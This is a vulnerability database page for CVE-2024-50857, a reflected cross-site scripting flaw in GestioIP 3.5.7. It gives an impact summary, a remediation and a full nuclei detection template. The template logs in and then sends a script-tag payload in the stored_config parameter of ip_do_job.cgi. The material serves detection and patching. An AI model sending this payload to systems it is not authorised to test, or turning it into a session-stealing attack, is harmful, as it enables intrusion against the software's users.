Browse / CVEs / CVE-2024-50857
CVE-2024-50857· gestioip / gestioip· CWE-79
GestioIP - Reflected Cross-Site Scripting
mediumseverity
4.8CVSS score
1.2%likelihood of exploitation, next 30 days
70%of all CVEs are less likely
Readycheck to confirm it
GestioIP v3.5.7 contains a reflected cross-site scripting caused by unsanitized input in the ip_do_job request, letting attackers execute scripts in the victim's browser, exploit requires specific user permissions.
Impact
Attackers can execute scripts in victims' browsers, leading to data theft and potential CSRF attacks.
Fix
Sanitize user input in the ip_do_job request and update to the latest version of GestioIP.
How to confirm it
Send: POST /
Positive when: contains_all(body, "Gestió", "logout") and status_code == 200
Send: GET /gestioip/res/cm/ip_do_job.cgi?client_id=1&stored_config=%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains(body, "bad format (6b) <script>alert(document.domain)</script>") and status_code == 200Run it with nuclei: nuclei -id CVE-2024-50857 -u <target>
The full check
id: CVE-2024-50857
info:
name: GestioIP - Reflected Cross-Site Scripting
author: Gaurang
severity: medium
description: |
GestioIP v3.5.7 contains a reflected cross-site scripting caused by unsanitized input in the ip_do_job request, letting attackers execute scripts in the victim's browser, exploit requires specific user permissions.
impact: |
Attackers can execute scripts in victims' browsers, leading to data theft and potential CSRF attacks.
remediation: |
Sanitize user input in the ip_do_job request and update to the latest version of GestioIP.
reference:
- https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50857
- https://github.com/muebel/gestioip-docker-compose
- https://nvd.nist.gov/vuln/detail/CVE-2024-50857
- http://www.gestioip.net
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
cvss-score: 4.8
cve-id: CVE-2024-50857
cwe-id: CWE-79
epss-score: 0.01249
epss-percentile: 0.69598
cpe: cpe:2.3:a:gestioip:gestioip:3.5.7:*:*:*:*:*:*:*
metadata:
verified: true
vendor: gestioip
product: gestioip
tags: cve,cve2024,gestioip,xss,reflected,authenticated,vuln
flow: http(1) && http(2)
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
httpd_username={{username}}&httpd_password={{password}}&login=login&create_csrf_token=true
matchers:
- type: dsl
dsl:
- 'contains_all(body, "Gestió", "logout")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
GET /gestioip/res/cm/ip_do_job.cgi?client_id=1&stored_config=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "bad format (6b) <script>alert(document.domain)</script>")'
- 'status_code == 200'
condition: andReferences
- https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50857
- https://github.com/muebel/gestioip-docker-compose
- https://nvd.nist.gov/vuln/detail/CVE-2024-50857
- http://www.gestioip.net
Use this check only on systems you are authorised to test. Where the data comes from